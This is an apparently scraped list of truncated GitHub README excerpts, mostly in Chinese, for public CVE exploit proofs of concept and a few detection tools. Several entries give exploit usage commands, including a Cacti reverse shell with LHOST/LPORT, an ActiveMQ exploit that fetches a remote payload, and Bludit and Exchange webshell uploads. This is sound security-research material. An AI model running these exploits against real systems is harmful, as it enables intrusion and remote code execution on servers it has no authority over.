Oracle-WebLogic-CVE-2017-10271

Oracle-WebLogic-CVE-2017-10271 WebLogic wls-wsat RCE CVE-2017-10271 漏洞描述 早期，黑客利用WebLogic WLS 组件漏洞对企业服务器发起大范围远程攻击，有大量企业的服务器被攻陷，且被攻击企业数量呈现明显上升趋势，需要引起高度重视。其中，CVE-2017-3506是一个利用Oracle WebLogic中WLS 组件的远程代码执行漏洞，属于没有公开细节的野外利用漏洞，大量企业尚未及时安装补丁。官方在 2017 年 4 月份就发布了该漏洞的补丁。 CVE-2017-3506补丁说明： public...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons 版本 1.13 至 1.13.10、2.0 至 2.0.5 及更早的不受支持版本中存在一个属性绑定漏洞，原因是未能正确中和特殊元素。未经身份验证的远程恶意用户（或攻击者）可以针对基于 Spring Data REST 的 HTTP 资源提供精心构造的请求参数，或使用 Spring Data 基于投影的请求负载绑定，从而导致远程代码执行攻击。 更多信息请参见此处 运行 该应用程序可以使用易受攻击版本或已修复版本的 Spring Data Commons 进行测试。 易受攻击版本（默认）： mvn spring-boot:r...

CVE-2023-6634

CVE-2023-6634 漏洞利用脚本 描述 本仓库包含一个 Python 脚本，用于利用 WordPress 的 LearnPress 插件（版本 4.2.5.7 及以下）中存在的 CVE-2023-6634 漏洞。该漏洞由于 loadcontentviaajax 函数中的输入验证不当，导致远程代码执行（RCE）。 免责声明 本工具仅用于教育目的及授权的渗透测试。未经明确许可使用该工具攻击系统是非法且不道德的行为。下载或使用本工具即表示您同意以负责任且合乎道德的方式使用它。 安装 除系统需安装 Python 3 及 requests 库外，无需额外安装。您可以使用以下命令安装所需的...

TrojanSourceFinder

TrojanSourceFinder TrojanSourceFinderは、ソースコード内の「Trojan Source」脆弱性を検出するのに役立ちます。 Trojan Source脆弱性により、攻撃者は悪意のあるコードを無害に見せかけることができます。一般的に、攻撃者は自らのコードを（視覚的に）コメントとして偽装して誘い込もうとします。多くの言語に関係するため、深刻な脅威です。複数の「信頼できない」ソースを持つプロジェクトが影響を受ける可能性があります。 悪を検出 🔎 · 悪を追跡 👀 · Trojan Source ❓ インストール goを使用 go install経由 go...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 此漏洞利用程序是基于 @FredBrave 原始脚本的修改版本，并由 @arthurcortesr 和 @alv-david 进行了改编。 使用/示例 python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X 预期结果 Testing hostid=X, localdataid=XX... + Found working combination: hostid=X, localdataid=X Payloa...

CVE-2025-1974-poc

POC of IngressNightmare, RCE in Ingress NGINX CVE-2025-1974 Developed from: https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilitieshow-did-we-discover-ingressnightmare-24 Thanks 使用说明 forward the admission webhook kubectl port-forwar...

CVE-2025-45466

CVE-2025-45466 这是CVE-2025-45466的详细信息 CVE披露：CVE-2025-45466 摘要 在 Unitree Go1 机器人狗（所有版本 使用硬编码密码 4. 以 root 权限执行任意操作。 结果 如下方截图所示，root 访问密码保存在 passwd.sh 中（图1）。该文件可在同一固件包中找到（图2） 图1： 图2：...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 失陷指标检测工具 此脚本旨在由具有 root 权限的用户在 F5 BIG-IP 的 Advanced Shell bash 中本地执行；不建议在任何其他环境中运行。注意：设备模式（Appliance Mode）不允许访问 Advanced Shell，因此该工具无法在此类系统上运行。 该脚本用于在 BIG-IP 上检查与 CVE-2020-5902 相关的失陷指标（Indicators of Compromise，IoC），这些指标在编写时已为 F5 Networks 所知。脚本汇总这些 IoC 并以报告形式呈现概览，供您参考以确定最佳行动方案。如果此工具发现...

hack-winrar

hack-winrar WinRar 是一款广为人知的 Windows 软件。旧版 WinRAR 存在一个漏洞，该漏洞已于 2019 年 2 月被修复。大多数人没有更新 WinRAR，因此他们仍受此绝对路径遍历漏洞 CVE-2018-20250 的影响 针对 从 Winrar 中提取代码执行 的 exp poc 作者：Ridter 如何使用？ 你只需安装 Python 3.7，并准备一个你想运行的恶意文件，设置你想要的参数，该 exp 脚本会自动生成恶意压缩包文件 ！ 1. 设置你想要的参数 ... ... 你想要的压缩包文件名 rarfilename = "test.rar"...

CVE-2022-22963-POC

CVE-2022-22963 漏洞利用 描述 在 Spring Cloud Function 3.1.6、3.2.2 及更早的不受支持版本中，当使用路由功能时，用户可以提供特制的 SpEL 作为路由表达式，这可能导致远程代码执行并访问本地资源。更多详情请参见 CVE-2022-22963 详情。 基于 AayushmanThapaMagar 提供的 PoC，我正在创建一个简单的漏洞利用程序，从易受攻击的服务器获取反向 shell。 该项目的目的是简化漏洞测试并学习如何利用它。我稍后会添加关于此漏洞原因的更多细节。 需求 要运行此漏洞利用程序，你只需要 Docker。 使用方法...

CVE-2021-43503

警告 该漏洞已被撤销 Override 这是关于 CVE-2021-43503 的内容，我无法通过 exp 重现此漏洞。 需求 PHP 7.1. Composer registrar=$b; namespace Illuminate\Queue\Capsule class Manager protected $manager; public function construct$c $this-manager-method=$c; namespace Mockery class ClosureWrapper private $closure; public function...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - Confluence Data Center 和 Server 过时版本中的 RCE（远程代码执行）漏洞 公告发布日期 2024年1月16日 周二 01:00 EST 产品： Confluence Data Center Confluence Server 受影响版本： 8.0.x 8.1.x 8.2.x 8.3.x 8.4.x 8.5.0-8.5.3 7.19.x LTS 版本不受此漏洞影响 参考链接：...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

项目参考 本项目是参考 https://github.com/X1r0z/ActiveMQ-RCE 项目的 exp 来重写的一个 python 版本的 exp 。 用法 python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 其中 -p 参数默认为 activeMQ 的默认端口。-x 参数注意需要加上协议的前缀。 介绍 这里附上 openwire 协议的图示就很明白了。 下面给出的是 Throwable 类型的数据包格式。 具体的漏洞分析见下面的参考文章。 参考文章...

CVE-2019-16113-PoC

CVE-2019-16113 PoC Bludit = 3.9.2 远程代码执行漏洞，通过“上传功能”。 简单的 Python PoC。 由 @christasa 发现：https://github.com/bludit/bludit/issues/1081 使用方法 编辑脚本中的 URL、用户名、密码和要执行的命令，然后运行脚本： $ python CVE-2019-16113.py + 登录成功。 + CSRF 令牌：20b903ffe72490f004b9255521ea2e0419e73dce + Shell 上传成功。 + .htaccess 上传成功。 + 命令执行成功。...

Fnord

Fnord Fnord は難読化されたコードのパターン抽出ツールです 説明 Fnord には2つの主要機能があります: 1. バイトシーケンスを抽出し、統計を生成する 2. これらの統計情報を使用し、長さ、出現回数、類似性、キーワードを組み合わせて YARA ルールを作成する 1. 統計 Fnord は、最小長 -m X（デフォルト: 4）から最大長 -x X（デフォルト: 40）までの可変サイズのスライディングウィンドウでファイルを処理し、すべてのシーケンスを抽出します。各長さについて、Fnord は最も頻繁に出現するシーケンス -t X（デフォルト: 3）をテーブルで表示します。...

DIR-890L-1.20-RCE

D-Link DIR-890L RCE 受影响版本：= v1.22B01 Hotfix（最新） 固件：此处 该型号已到达其生命周期的终点。与此类产品相关的资源已停止开发，不再受支持。 D-Link Systems, Inc. 建议淘汰这些产品，并将其替换为能接收固件更新的产品。 漏洞 在其固件中，我们可以在 SetVirtualServerSettings.php 中找到一个函数 getWOLMAC： function getWOLMAC$ipv4addr $cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";...

ghostcat

该工具利用 Apache Tomcat 中的一个 LFI 漏洞（CVE-2020-1938），不仅可以查看敏感文件，还可以运行恶意的 JSP 载荷。 可在此处下载（需要从命令行运行） 用法： ghostcat target HTTP port AJP port file read/eval...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE 利用 CVE-2024-2961 和 CVE-2023–26326 实现远程代码执行（RCE） 用法 git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port 分析与技术细节 查看我的 博客文章 POC...

CVE-2023-43208-mirth-connect-rce-poc

Mirth Connect 中的 RCE 漏洞（CVE-2023-37679 和 CVE-2023-43208） 此漏洞利用脚本和 PoC 是为在 vsociety 上进行深入的 CVE 分析而编写的。 CVE-2023-43208 是 NextGen Mirth Connect 中的一个严重安全漏洞，Mirth Connect 是医院和诊所用于共享患者数据的工具。该漏洞使攻击者无需密码即可入侵系统。由于 Mirth Connect 在医疗保健领域被广泛使用，迅速修复该漏洞对于保护患者信息至关重要。 该漏洞是在早前的问题 CVE-2023-37679...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] 单个获取 python sendwebshellmail.py https://mail16.echod.com crack 批量从mail.txt 读取邮件，进行尝试获取SID token python sendwebshellmail.py https://mail16.echod.com [email protected] send 只发送webshell 草稿邮件 python sendwebshellmail.py...